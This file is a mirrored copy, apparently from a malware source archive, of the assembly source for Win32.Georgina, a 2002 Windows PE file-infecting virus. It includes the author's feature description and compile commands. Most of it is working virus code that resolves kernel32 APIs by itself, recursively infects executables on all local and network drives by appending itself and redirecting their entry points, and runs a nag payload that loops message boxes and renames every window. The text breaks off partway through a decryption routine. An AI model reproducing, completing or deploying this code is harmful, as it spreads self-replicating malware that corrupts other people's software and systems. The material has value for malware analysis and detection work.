mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1125 lines
51 KiB
NASM
1125 lines
51 KiB
NASM
|
|
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
; @@ @@
|
|
; @@ Win32.Georgina.3657 @@
|
|
; @@ (C)0ded by KiNETiK @@
|
|
; @@ May, 2002 @@
|
|
; @@ @@
|
|
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
;
|
|
;
|
|
;Hi guyz,
|
|
;
|
|
;Finally I finished coding my Win32.Georgina virus, so I can start to write a brief description:)
|
|
;This is Win32 per-process multithreaded resident virus, so every infected PE-file
|
|
;can launch its own copy of resident virus as soon as it determines that there's no
|
|
;other copy of virus running in memory.
|
|
;
|
|
;Brief Description
|
|
;-----------------
|
|
;
|
|
; - Win32 appending virus, appends the last section of PE-file (infects only PE *.exe files)
|
|
; - Infects Win9x/NT/2k/XP platforms (is not tested on WinME,but should work there too)
|
|
; - Infects PE-files compressed with various PE-compressors (e.g. UPX)
|
|
; - Infects all the logical drives, including network mapped drives
|
|
; - Puts infection mark at the end of the infected file, in order to avoid multiple
|
|
; infections (infection mark is an encrypted 12-byte string), also checks
|
|
; PE-files for validity
|
|
; - Per-process multithreaded residency, every running copy will be activated unless
|
|
; other copy of virus is running
|
|
; - Encrypted data strings (but not all strings are encrypted)
|
|
; - Undetectable by some antiviruses (can't insist that it won't be detected by ALL
|
|
; AVs)
|
|
; - The payload consists of two separate threads:
|
|
; 1) an infinite loop of a MessageBox, with the virus payload info written there
|
|
; 2) Every 8 seconds changes recursively all the window captions to the string
|
|
; "Georgina"
|
|
; - The virus has its main thread which launches the other threads or checks every
|
|
; second for the absence of other copy (if the other copy was running at the moment
|
|
; when the 2nd copy was executed)
|
|
; - Other features not mentioned here, just look at the source code and u'll
|
|
; understand everything:)
|
|
;
|
|
;The virus DOESN'T have any destructive features, there's no need in them:)
|
|
;The activation date is 21st of every month or September 21st (depends on version).
|
|
;I don't wanna write a long description of every step the virus does, I guess the comments
|
|
;in the source are enough:)
|
|
;
|
|
;Greetingz
|
|
;---------
|
|
;
|
|
;My warmest greetingz to Georgina !!!
|
|
;This virus is ***totally*** dedicated to Georgina, the woman who I love and will love forever...
|
|
;
|
|
;My best regardz and greetingz to 29A members, guyz you are really cool!
|
|
;
|
|
;
|
|
;(C)0ded by KiNETiK, May 2002 e-mail: kinetik_fire@yahoo.com
|
|
;
|
|
;Compiling
|
|
;---------
|
|
;Compile the source with TASM 5.0:
|
|
; tasm32 -ml -m5 -q -zn Georgina.asm
|
|
; tlink32 -Tpe -c -x -aa Georgina.obj,,, import32
|
|
; pewrsec.com Georgina.exe
|
|
;
|
|
;
|
|
; The code is not fully optimized yet (could be smaller).
|
|
; If u find any bugs or u have comments, feel free to contact me.
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
.586p
|
|
.model flat
|
|
|
|
include W32.inc
|
|
include Imghdr.inc
|
|
|
|
.data
|
|
; this stuff is for 1st generation only,for the MessageBox displaying the 1st generation info :)
|
|
szCaption db "Dear user:)",0h
|
|
szMessage db "Introducing Win32.Georgina virus!",0Dh
|
|
db "Congratulations! :) 1st generation is successfully launched! :)",0Dh,0Dh
|
|
db "(C)0ded by KiNETiK, May 2002",0Dh,0Dh
|
|
db "Dedicated to Georgina",0h
|
|
.code
|
|
main:
|
|
|
|
; Here is our virus code, the most difficult part to code:))
|
|
infect_section:
|
|
call delta_offset
|
|
delta_offset:
|
|
pop ebp
|
|
mov eax,ebp
|
|
sub eax,5h ; substract 5h due to call instruction (call delta_offset)
|
|
sub ebp,offset delta_offset
|
|
|
|
mov dword ptr [ebp+_EBP],ebp ; saving EBP in _EBP
|
|
mov dword ptr [ebp+_ImageBase],eax
|
|
|
|
call GetKernel32BaseAddress
|
|
mov dword ptr [ebp+K32Address],eax ; Saving found kernel base
|
|
|
|
mov esi,eax
|
|
call GetUsefulAPIz
|
|
|
|
call LaunchVirusMainThread
|
|
|
|
cmp ebp,0h ; if EBP=0 that means we r in the 1st generation
|
|
je _1st_generation ; jumping to the messagebox :)
|
|
|
|
jmp MainEnd ; jump back to the host
|
|
|
|
; GetKernel32BaseAddress
|
|
; Gets Kernel32 base address, return address in eax
|
|
GetKernel32BaseAddress proc
|
|
mov esi,[esp+4h] ; last item in stack is return address to CreateProcess API from Kernel32.dll
|
|
; adding 4h due to return EIP before calling this function
|
|
and esi,0FFFF0000h ; align it with page size, 4K (1000h), K32 is mapped at page start
|
|
mov ecx,40h ; scan backward up to 64 pages...
|
|
@K32Loop:
|
|
sub esi,1000h ; go back
|
|
dec ecx ; ecx is counter
|
|
cmp ecx,0h ; scanned all the area?
|
|
jz @K32NotFound ; yes, that means didn't get K32 address yet:( hardcode it:(
|
|
cmp word ptr [esi],"ZM" ; is it MZ executable?
|
|
jne @K32Loop ; no, tyry again; yes, go ahead
|
|
mov ebx,dword ptr [esi+3Ch] ; locate PE header...
|
|
cmp dword ptr [esi+ebx],"EP" ; it it really PE header?
|
|
je @K32Found ; wow! we found Kernel32 base address:)
|
|
loopnz @K32Loop ; main loop
|
|
|
|
@K32NotFound:
|
|
mov eax,0BFF70000h ; couldn't locate Kernel32 base
|
|
ret ; return hardcoded value for Win9x
|
|
@K32Found:
|
|
mov eax,esi
|
|
ret
|
|
GetKernel32BaseAddress endp
|
|
|
|
; GetK32APIAddress
|
|
; function gets API addresses
|
|
; esi = K32 base address, edi = funtion name string offset
|
|
GetK32APIAddress proc
|
|
push esi
|
|
mov edx,dword ptr [esi+3Ch] ; locating PE header
|
|
add edx,78h ; getting export table RVA
|
|
add esi,edx ; setting new offset
|
|
|
|
assume esi:ptr IMAGE_DATA_DIRECTORY ; ok, here we get into data
|
|
mov edx,[esi].VirtualAddress ; directory and locate export RVA
|
|
|
|
assume esi:
|
|
mov esi,dword ptr [ebp+K32Address] ; normalize it
|
|
add esi,edx
|
|
|
|
assume esi:ptr IMAGE_EXPORT_DIRECTORY ; prepair to get exports...
|
|
mov ecx,[esi].NumberOfFunctions ; getting number of exports
|
|
mov dword ptr [ebp+K32NumberOfExports],ecx
|
|
mov ebx,[esi].AddressOfFunctions ; Getting pointer to RVA of function addresses
|
|
mov edx,[esi].AddressOfNames ; Getting pointer to RVA of function names
|
|
mov eax,[esi].AddressOfNameOrdinals ; Getting pointer to RVA of name ordinals
|
|
|
|
assume esi:
|
|
push eax ; saving some stuff:)
|
|
|
|
mov esi,dword ptr [ebp+K32Address] ; locating and saving function export
|
|
add ebx,esi ; address for later use
|
|
mov dword ptr [ebp+K32ExportAddress],ebx
|
|
|
|
pop eax ; getting the ordinals' address
|
|
add eax,esi ; address for later use
|
|
mov dword ptr [ebp+K32OrdinalsAddress],eax
|
|
|
|
mov edx,[esi+edx] ; getting RVA where stored address
|
|
add esi,edx ; of name tables
|
|
|
|
@FindAPI:
|
|
push esi ; saving some stuff
|
|
mov edx,esi ; all these stuff is for parsing function names
|
|
@Loop1:
|
|
cmp byte ptr [esi],0h ; check whether we found null-terminator of the funciton name string
|
|
je @Loop2 ; yes, go ahead....
|
|
inc esi ; no, still scanning function name...
|
|
jmp @Loop1
|
|
@Loop2:
|
|
inc esi ; ok, we get function name size
|
|
sub esi,edx ; store it in ecx
|
|
mov ecx,esi
|
|
pop esi
|
|
|
|
cld ; clear direction flag
|
|
push esi ; saving all registers we need....
|
|
push edi
|
|
push ecx
|
|
repe cmpsb ; comparing function names (esi=current,edi=function to find)
|
|
pop ecx ; restoring all our regs...
|
|
pop edi
|
|
pop esi
|
|
je @APIFound ; found? ok, go ahead
|
|
add esi,ecx ; not found, continue scanning...
|
|
inc dword ptr [ebp+Counter] ; function exports counter...
|
|
mov eax,dword ptr [ebp+Counter] ; still have functions to scan?
|
|
mov eax,dword ptr [ebp+K32NumberOfExports] ; yes, continue
|
|
cmp dword ptr [ebp+Counter],eax ; no, damn, we failed:(
|
|
jge @APINotFound
|
|
jl @FindAPI
|
|
@APIFound:
|
|
mov eax,dword ptr [ebp+Counter] ; current function export number = Counter
|
|
shl eax,1 ; eax = eax * 2, add to ordinal address, get the
|
|
mov esi,dword ptr [ebp+K32OrdinalsAddress] ; function ordinal we need,
|
|
add esi,eax ; normalize it
|
|
lodsw ; get that value in ordinal...
|
|
shl eax,2 ; eax = eax * 4, locate correct item in export address table
|
|
mov esi,dword ptr [ebp+K32ExportAddress] ; get export address
|
|
add esi,eax ; normalize it
|
|
lodsd ; get the function entry-point we need!
|
|
add eax,dword ptr [ebp+K32Address] ; normalize it...
|
|
mov dword ptr [ebp+Counter],0h
|
|
pop esi
|
|
ret ; ohhh,finally we found it and getting out fom here:)
|
|
@APINotFound:
|
|
mov eax,00000000h ; we didn't find anything...returning error (0h)
|
|
pop esi
|
|
ret
|
|
GetK32APIAddress endp
|
|
|
|
;Getting all useful APIz we need...
|
|
GetUsefulAPIz proc
|
|
; Now we get useful functions from Kernel32
|
|
lea edi,[ebp+szGetProcAddress] ; edi must have offset of the function name to find
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_GetProcAddress],eax
|
|
|
|
lea edi,[ebp+szGetModuleHandleA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_GetModuleHandleA],eax
|
|
|
|
lea edi,[ebp+szLoadLibraryA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_LoadLibraryA],eax
|
|
|
|
lea edi,[ebp+szGetFileAttributesA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_GetFileAttributesA],eax
|
|
|
|
lea edi,[ebp+szSetFileAttributesA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_SetFileAttributesA],eax
|
|
|
|
lea edi,[ebp+szCreateFileA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_CreateFileA],eax
|
|
|
|
lea edi,[ebp+szCreateFileMappingA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_CreateFileMappingA],eax
|
|
|
|
lea edi,[ebp+szMapViewOfFile]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_MapViewOfFile],eax
|
|
|
|
lea edi,[ebp+szUnmapViewOfFile]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_UnmapViewOfFile],eax
|
|
|
|
lea edi,[ebp+szFindFirstFileA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_FindFirstFileA],eax
|
|
|
|
lea edi,[ebp+szFindNextFileA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_FindNextFileA],eax
|
|
|
|
lea edi,[ebp+szFindClose]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_FindClose],eax
|
|
|
|
lea edi,[ebp+szSetCurrentDirectoryA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_SetCurrentDirectoryA],eax
|
|
|
|
lea edi,[ebp+szGetLocalTime]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_GetLocalTime],eax
|
|
|
|
lea edi,[ebp+szCreateThread]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_CreateThread],eax
|
|
|
|
lea edi,[ebp+szSetThreadPriority]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_SetThreadPriority],eax
|
|
|
|
lea edi,[ebp+szResumeThread]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_ResumeThread],eax
|
|
|
|
lea edi,[ebp+szCreateMutexA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_CreateMutexA],eax
|
|
|
|
lea edi,[ebp+szOpenMutexA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_OpenMutexA],eax
|
|
|
|
lea edi,[ebp+szSleep]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_Sleep],eax
|
|
|
|
lea edi,[ebp+szGetLogicalDrives]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_GetLogicalDrives],eax
|
|
|
|
lea edi,[ebp+szGetDriveTypeA]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_GetDriveTypeA],eax
|
|
|
|
lea edi,[ebp+szGetFileSize]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_GetFileSize],eax
|
|
|
|
lea edi,[ebp+szCloseHandle]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_CloseHandle],eax
|
|
|
|
lea edi,[ebp+szVirtualAlloc]
|
|
call GetK32APIAddress
|
|
mov dword ptr [ebp+_VirtualAlloc],eax
|
|
|
|
;Now we check/load User32.dll for getting functions from it
|
|
lea eax,[ebp+szUser32Dll]
|
|
push eax
|
|
call [ebp+_GetModuleHandleA]
|
|
cmp eax,00000000h
|
|
jne @_U32Found
|
|
|
|
lea eax,[ebp+szUser32Dll]
|
|
push eax
|
|
call [ebp+_LoadLibraryA]
|
|
cmp eax,00000000h
|
|
je MainEnd
|
|
|
|
lea eax,[ebp+szUser32Dll]
|
|
push eax
|
|
call [ebp+_GetModuleHandleA]
|
|
cmp eax,00000000h
|
|
jne @_U32Found
|
|
je MainEnd
|
|
@_U32Found:
|
|
;now we get useful functions from User32
|
|
mov dword ptr [ebp+U32Address],eax
|
|
|
|
lea eax,[ebp+szMessageBoxA]
|
|
push eax
|
|
push [ebp+U32Address]
|
|
call [ebp+_GetProcAddress]
|
|
mov dword ptr [ebp+_MessageBoxA],eax
|
|
|
|
lea eax,[ebp+szSetWindowTextA]
|
|
push eax
|
|
push [ebp+U32Address]
|
|
call [ebp+_GetProcAddress]
|
|
mov dword ptr [ebp+_SetWindowTextA],eax
|
|
|
|
lea eax,[ebp+szGetTopWindow]
|
|
push eax
|
|
push [ebp+U32Address]
|
|
call [ebp+_GetProcAddress]
|
|
mov dword ptr [ebp+_GetTopWindow],eax
|
|
|
|
lea eax,[ebp+szGetWindow]
|
|
push eax
|
|
push [ebp+U32Address]
|
|
call [ebp+_GetProcAddress]
|
|
mov dword ptr [ebp+_GetWindow],eax
|
|
|
|
ret ; end of looking for all API function addresses we need
|
|
GetUsefulAPIz endp
|
|
|
|
;edi = filename address
|
|
InfectFile proc ; function that infects single file
|
|
pushad
|
|
; initting vars
|
|
xor eax,eax
|
|
mov dword ptr [ebp+pMemory],eax
|
|
mov dword ptr [ebp+FileHandle],eax
|
|
mov dword ptr [ebp+FileMappedHandle],eax
|
|
|
|
; Clearing & storing fileattributes
|
|
push edi
|
|
call [ebp+_GetFileAttributesA]
|
|
mov dword ptr [ebp+FileAttrib],eax
|
|
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push edi
|
|
call [ebp+_SetFileAttributesA]
|
|
; File attributes are cleared and stored now...
|
|
|
|
call [ebp+_CreateFileA],edi,GENERIC_READ or GENERIC_WRITE,0,0,OPEN_EXISTING,0,0
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je @_InfectFailure
|
|
|
|
mov dword ptr [ebp+FileHandle],eax ; Getting file size, calulating
|
|
push 0h
|
|
push [ebp+FileHandle]
|
|
call [ebp+_GetFileSize] ; new file size, need for mapping it
|
|
cmp eax,-1
|
|
je @_InfectFailure
|
|
mov dword ptr [ebp+FileSize],eax
|
|
|
|
cmp [ebp+FileSize],3Ch ; we r sure that PE file can't be so small,
|
|
jbe @_InfectFailure ; actually it's an additional check of PE validity
|
|
|
|
; Checking if MZ/PE file and already infected or not
|
|
push 0h
|
|
push [ebp+FileSize]
|
|
push 0h
|
|
push PAGE_READONLY
|
|
push 0h
|
|
push [ebp+FileHandle]
|
|
call [ebp+_CreateFileMappingA]
|
|
cmp eax,0h
|
|
je @_InfectFailure
|
|
mov dword ptr [ebp+FileMappedHandle],eax
|
|
|
|
push 0h
|
|
push 0h
|
|
push 0h
|
|
push FILE_MAP_READ
|
|
push [ebp+FileMappedHandle]
|
|
call [ebp+_MapViewOfFile]
|
|
cmp eax,0h
|
|
je @_InfectFailure
|
|
mov esi,eax
|
|
mov dword ptr [ebp+pMemory],esi
|
|
|
|
cmp word ptr [esi],IMAGE_DOS_SIGNATURE ; Checking if the file iz valid MZ
|
|
jne @_InfectFailure ; executable, if so we are trying
|
|
mov eax,dword ptr [esi+03Ch] ; to locate the PE header offset
|
|
mov dword ptr [ebp+PEHdrOffset],eax
|
|
|
|
mov ebx,[ebp+FileSize] ; checking the validy of MZ/PE file
|
|
cmp ebx,eax ; by comparing file size and possible
|
|
jbe @_InfectFailure ; PE header and start offsets
|
|
|
|
add esi,eax
|
|
xor eax,eax
|
|
cmp word ptr [esi],IMAGE_NT_SIGNATURE ; Checking if valid PE, if so,
|
|
jne @_InfectFailure ; starting PE header midifications...
|
|
; if not, return error
|
|
assume esi: ; checking if PE file is already infected or not
|
|
mov esi,dword ptr [ebp+pMemory] ; At the end of PE file we put special magic
|
|
mov eax,dword ptr [ebp+FileSize] ; bytes,thus generating infection mark
|
|
sub eax,12
|
|
add esi,eax
|
|
cmp dword ptr [esi],0CFED8A8Ah ; magic bytes
|
|
jne @InfectionStart
|
|
cmp dword ptr [esi+4],0C3CDD8C5h ; magic bytes
|
|
jne @InfectionStart
|
|
cmp dword ptr [esi+8],8A8ACBC4h ; magic bytes
|
|
je @_InfectFailure
|
|
; End of checking whether MZ/PE and already infected or not
|
|
@InfectionStart:
|
|
; Starting infection here
|
|
push edi
|
|
xor eax,eax
|
|
mov eax,dword ptr [ebp+FileSize]
|
|
add eax,INFECTLENGTH + 12 ; We store infection mark here in additional 12 bytes
|
|
push 0h
|
|
push eax
|
|
push 0h
|
|
push PAGE_READWRITE
|
|
push 0h
|
|
push [ebp+FileHandle]
|
|
call [ebp+_CreateFileMappingA]
|
|
cmp eax,0h
|
|
je @_InfectFailure
|
|
mov dword ptr [ebp+FileMappedHandle],eax
|
|
|
|
push 0h
|
|
push 0h
|
|
push 0h
|
|
push FILE_MAP_ALL_ACCESS
|
|
push [ebp+FileMappedHandle]
|
|
call [ebp+_MapViewOfFile]
|
|
cmp eax,0h
|
|
je @_InfectFailure
|
|
mov esi,eax
|
|
mov dword ptr [ebp+pMemory],esi
|
|
|
|
mov eax,dword ptr [esi+03Ch] ; locating the PE header offset
|
|
mov dword ptr [ebp+PEHdrOffset],eax ; saving it
|
|
add esi,eax ; normalizing the address
|
|
xor eax,eax
|
|
|
|
assume esi: ptr IMAGE_NT_HEADERS
|
|
mov ax,[esi].FileHeader.NumberOfSections ; Modifying PE header
|
|
mov dword ptr [ebp+SectionsNum],eax ; Getting sections number
|
|
mov eax,[esi].OptionalHeader.AddressOfEntryPoint ; Getting entry-point
|
|
mov dword ptr [ebp+OldEntryPoint],eax
|
|
mov eax,[esi].OptionalHeader.FileAlignment
|
|
mov dword ptr [ebp+dFileAlignment],eax
|
|
|
|
assume esi:
|
|
xor eax,eax
|
|
mov esi,dword ptr [ebp+pMemory] ; points to file start
|
|
add esi,dword ptr [ebp+PEHdrOffset] ; points to PE header start
|
|
mov ax,word ptr [esi+14h] ; getting IOH size
|
|
add esi,18h ; adding IFH size
|
|
add esi,eax ; calculating the overall offset
|
|
|
|
mov eax,28h ; one section's size=28h
|
|
mov ecx,dword ptr [ebp+SectionsNum] ; how many sections
|
|
dec ecx
|
|
imul ecx ; multiplying, section_num * section_size
|
|
add esi,eax ; getting last section's offset
|
|
|
|
assume esi: ptr IMAGE_SECTION_HEADER
|
|
push esi
|
|
|
|
mov eax,[esi].SVirtualAddress ; will use it later
|
|
push eax
|
|
|
|
mov edx,dword ptr [ebp+FileSize] ; here we calculate SizeOfRawData and save it
|
|
sub edx,[esi].PointerToRawData ; for later use
|
|
push edx
|
|
add edx,INFECTLENGTH ; add infection block (virus) size
|
|
mov [esi].SVirtualSize,edx ; save this value in VirtualSize and
|
|
mov [esi].SizeOfRawData,edx ; SizeOfRawData fields
|
|
|
|
mov eax,[esi].SVirtualSize ; starting to calculate new SizeOfImageValue ...
|
|
add eax,[esi].SVirtualAddress
|
|
|
|
assume esi: ; normalze the pointer, so we are at the field that
|
|
mov esi,dword ptr [ebp+pMemory] ; we'r gonna modify
|
|
add esi,dword ptr [ebp+PEHdrOffset]
|
|
assume esi: ptr IMAGE_NT_HEADERS
|
|
mov [esi].OptionalHeader.SizeOfImage,eax
|
|
pop edx ; restoring SizeOfRawData value
|
|
pop eax ; ..and VirtualAddress value
|
|
add eax,edx ; add them,and...
|
|
mov [esi].OptionalHeader.AddressOfEntryPoint,eax ; we get new entry-point
|
|
mov dword ptr [ebp+_EntryPoint],eax ; Another correct way to get the return point to host
|
|
|
|
pop esi
|
|
mov eax,CHARSNEW ; new characteristics for section
|
|
mov [esi].SFlags,eax
|
|
|
|
assume esi:
|
|
mov ecx,INFECTLENGTH ; infecting section size
|
|
mov edi,dword ptr [ebp+pMemory] ; prepare to add the last section
|
|
add edi,dword ptr [ebp+FileSize] ; where to copy
|
|
lea eax,[ebp+infect_section] ; getting section's address
|
|
mov esi,eax ; setting up destination address
|
|
rep movsb ; copying bytes...
|
|
|
|
; Adding infection mark, encrypted string...
|
|
lea esi,[ebp+InfectionMark]
|
|
mov ecx,12
|
|
rep movsb
|
|
; Infection mark added...
|
|
|
|
pop edi
|
|
popad
|
|
mov eax,1h
|
|
@InfectFailure:
|
|
push eax
|
|
|
|
mov eax,dword ptr [ebp+pMemory]
|
|
cmp eax,0h
|
|
je @InfectFailure1
|
|
push [ebp+pMemory]
|
|
call [ebp+_UnmapViewOfFile]
|
|
@InfectFailure1:
|
|
mov eax,dword ptr [ebp+FileMappedHandle]
|
|
cmp eax,0h
|
|
je @InfectFailure2
|
|
push [ebp+FileMappedHandle]
|
|
call [ebp+_CloseHandle]
|
|
@InfectFailure2:
|
|
mov eax,dword ptr [ebp+FileHandle]
|
|
cmp eax,0h
|
|
je @InfectFailure3
|
|
push [ebp+FileHandle]
|
|
call [ebp+_CloseHandle]
|
|
@InfectFailure3:
|
|
push [ebp+FileAttrib]
|
|
push edi
|
|
call [ebp+_SetFileAttributesA]
|
|
|
|
pop eax
|
|
ret
|
|
@_InfectFailure:
|
|
popad
|
|
mov eax,0h
|
|
jmp @InfectFailure
|
|
InfectFile endp
|
|
|
|
; Infects the given path recursively...
|
|
; I'm not gonna comment all the lines in this function, it's really annoying to code stuff like this, so
|
|
; if you wanna understand it better, I guess it's easier to code this function in C/C++ and then
|
|
; translate it to ASM, this way will take less time:)
|
|
; edi = path to infect
|
|
InfectPath proc
|
|
push [ebp+FindHandle]
|
|
|
|
push edi
|
|
call [ebp+_SetCurrentDirectoryA]
|
|
cmp eax,0h
|
|
je @ExitInfectPath2
|
|
|
|
lea ebx,[ebp+offset FindResult]
|
|
push ebx
|
|
lea ebx,[ebp+offset szEXEMask]
|
|
push ebx
|
|
call [ebp+_FindFirstFileA]
|
|
mov [ebp+FindHandle],eax
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je @DirLoop
|
|
|
|
lea esi,[ebp+FindResult]
|
|
assume esi: ptr WIN32_FIND_DATA
|
|
lea edi,[ebp+FindResult.fd_cFileName]
|
|
|
|
call InfectFile
|
|
|
|
mov ecx,MAX_PATH
|
|
xor al,al
|
|
rep stosb
|
|
@NextLoop1:
|
|
lea ebx,[ebp+offset FindResult]
|
|
push ebx
|
|
push [ebp+FindHandle]
|
|
call [ebp+_FindNextFileA]
|
|
cmp eax,0h
|
|
je @DirLoop
|
|
|
|
push eax
|
|
lea edi,[ebp+FindResult.fd_cFileName]
|
|
|
|
call InfectFile
|
|
|
|
mov ecx,MAX_PATH
|
|
xor al,al
|
|
rep stosb
|
|
pop eax
|
|
cmp eax,0h
|
|
jne @NextLoop1
|
|
|
|
@DirLoop:
|
|
push [ebp+FindHandle]
|
|
call [ebp+_FindClose]
|
|
lea ebx,[ebp+offset FindResult]
|
|
push ebx
|
|
lea ebx,[ebp+offset szGlobalMask]
|
|
push ebx
|
|
call [ebp+_FindFirstFileA]
|
|
mov [ebp+FindHandle],eax
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je @ExitInfectPath1
|
|
@NextLoop2:
|
|
lea esi,[ebp+FindResult]
|
|
assume esi: ptr WIN32_FIND_DATA
|
|
mov edx,[esi].fd_dwFileAttributes
|
|
and edx,FILE_ATTRIBUTE_DIRECTORY
|
|
cmp edx,0h
|
|
je @NextLoop2Jump
|
|
cmp [esi].fd_cFileName,2Eh ; ASCII for '.'
|
|
je @NextLoop2Jump
|
|
lea edi,[ebp+FindResult.fd_cFileName]
|
|
call InfectPath
|
|
@NextLoop2Jump:
|
|
lea ebx,[ebp+offset FindResult]
|
|
push ebx
|
|
push [ebp+FindHandle]
|
|
call [ebp+_FindNextFileA]
|
|
cmp eax,0h
|
|
jnz @NextLoop2
|
|
|
|
@ExitInfectPath1:
|
|
lea ebx,[ebp+offset szUpDir]
|
|
push ebx
|
|
call [ebp+_SetCurrentDirectoryA]
|
|
push [ebp+FindHandle]
|
|
call [ebp+_FindClose]
|
|
@ExitInfectPath2:
|
|
pop [ebp+FindHandle]
|
|
ret
|
|
InfectPath endp
|
|
|
|
; this is the payload
|
|
PayLoad proc
|
|
pushad
|
|
lea ebx,[ebp+offset Time] ; getting system date/time
|
|
push ebx ; using API GetLocalTime
|
|
call [ebp+_GetLocalTime]
|
|
;mov bx,[ebp+Time.st_wMonth] ; launching the visual payload when it's the right date
|
|
;cmp bx,9 ; we check here the month,in this version will work on 21st of every month
|
|
;jne @SkipPayloadKernel ; otherwise skip visual payload
|
|
mov bx,[ebp+Time.st_wDay]
|
|
cmp bx,21
|
|
jne @SkipPayloadKernel
|
|
@PayloadKernel:
|
|
lea ebx,[ebp+offset ThreadID1] ; launching a thread which nags the user with a messagebox
|
|
push ebx
|
|
push 0h
|
|
lea ebx,[ebp+_EBP]
|
|
push ebx
|
|
lea ebx,[ebp+offset FuckingNagger]
|
|
push ebx
|
|
push 0h
|
|
push 0h
|
|
call [ebp+_CreateThread]
|
|
|
|
lea ebx,[ebp+offset ThreadID2] ; launching a thread which periodically changes captions of all
|
|
push ebx ; active windows possible
|
|
push 0h
|
|
lea ebx,[ebp+_EBP]
|
|
push ebx
|
|
lea ebx,[ebp+offset Win32GeorginaPayload]
|
|
push ebx
|
|
push 0h
|
|
push 0h
|
|
call [ebp+_CreateThread]
|
|
@SkipPayloadKernel:
|
|
popad
|
|
ret
|
|
PayLoad endp
|
|
|
|
; edi = handle of the most parent window to change the captions
|
|
ChangeWndText proc
|
|
cmp edi,0h
|
|
je @CWT1
|
|
|
|
lea ebx,[ebp+offset szGeorgina] ; changes window's caption
|
|
push ebx
|
|
push edi
|
|
call [ebp+_SetWindowTextA]
|
|
@CWT1:
|
|
push edi
|
|
call [ebp+_GetTopWindow] ; getting top window
|
|
cmp eax,0h
|
|
je @CWT2
|
|
|
|
push edi
|
|
mov edi,eax
|
|
call ChangeWndText ; recursively change the window caption of sub-windows
|
|
pop edi
|
|
@CWT2:
|
|
push 2h ; 2h = GW_HWNDNEXT
|
|
push edi
|
|
call [ebp+_GetWindow] ; recursively change the window caption of sub-windows,
|
|
cmp eax,0h ; iteration over next windows...
|
|
je @CWT3
|
|
|
|
push edi
|
|
mov edi,eax
|
|
call ChangeWndText ; ...and again entering the recursive part
|
|
pop edi
|
|
@CWT3:
|
|
ret
|
|
ChangeWndText endp
|
|
|
|
FuckingNagger proc
|
|
pushad
|
|
; Here we try to get parameter EBP passed to the new thread...
|
|
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
|
|
mov ebp,[ebp]
|
|
|
|
push PAGE_READWRITE ; allocating virtual memory to decrypt the payload message
|
|
push MEM_COMMIT
|
|
push 100h
|
|
push 0h
|
|
call [ebp+_VirtualAlloc]
|
|
cmp eax,0h
|
|
je @_not_alloced
|
|
mov [ebp+pVirtualMemory],eax
|
|
jmp @_alloced
|
|
@_not_alloced:
|
|
lea eax,[ebp+offset szVirus]
|
|
mov [ebp+pVirtualMemory],eax
|
|
@_alloced:
|
|
call CryptVirusMessage ; decrypting payload message
|
|
@FuckingNagger:
|
|
push 0h ; running forever loop of messagebox :)
|
|
lea ebx,[ebp+offset szGeorgina]
|
|
push ebx
|
|
push [ebp+pVirtualMemory]
|
|
push 0h
|
|
call [ebp+_MessageBoxA]
|
|
jmp @FuckingNagger
|
|
|
|
pushad
|
|
ret
|
|
FuckingNagger endp
|
|
|
|
Win32GeorginaPayload proc
|
|
pushad
|
|
; Here we try to get parameter EBP passed to the new thread...
|
|
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
|
|
mov ebp,[ebp]
|
|
@ForeverPayload:
|
|
xor edi,edi
|
|
call ChangeWndText
|
|
push 8000 ; 8 seconds of delay between each update of the window captions
|
|
call [ebp+_Sleep]
|
|
jmp @ForeverPayload
|
|
|
|
popad
|
|
ret
|
|
Win32GeorginaPayload endp
|
|
|
|
CryptVirusMessage proc
|
|
pushad
|
|
; Decrypting virus message string
|
|
|
|
lea esi,[ebp+offset szVirus]
|
|
mov edi,[ebp+pVirtualMemory]
|
|
xor ecx,ecx
|
|
mov cl,szVirusMsgSize
|
|
cld
|
|
@decrypt:
|
|
lodsb ; performing simple XOR crypt/decrypt
|
|
xor al,0AAh
|
|
stosb
|
|
loopnz @decrypt
|
|
|
|
popad
|
|
ret
|
|
CryptVirusMessage endp
|
|
|
|
CryptMutexName proc
|
|
pushad
|
|
; Decrypting mutex name string....
|
|
lea esi,[ebp+offset szMutexName]
|
|
mov edi,esi
|
|
xor ecx,ecx
|
|
mov cl,MutexNameSize
|
|
cld
|
|
@_decrypt_mutex:
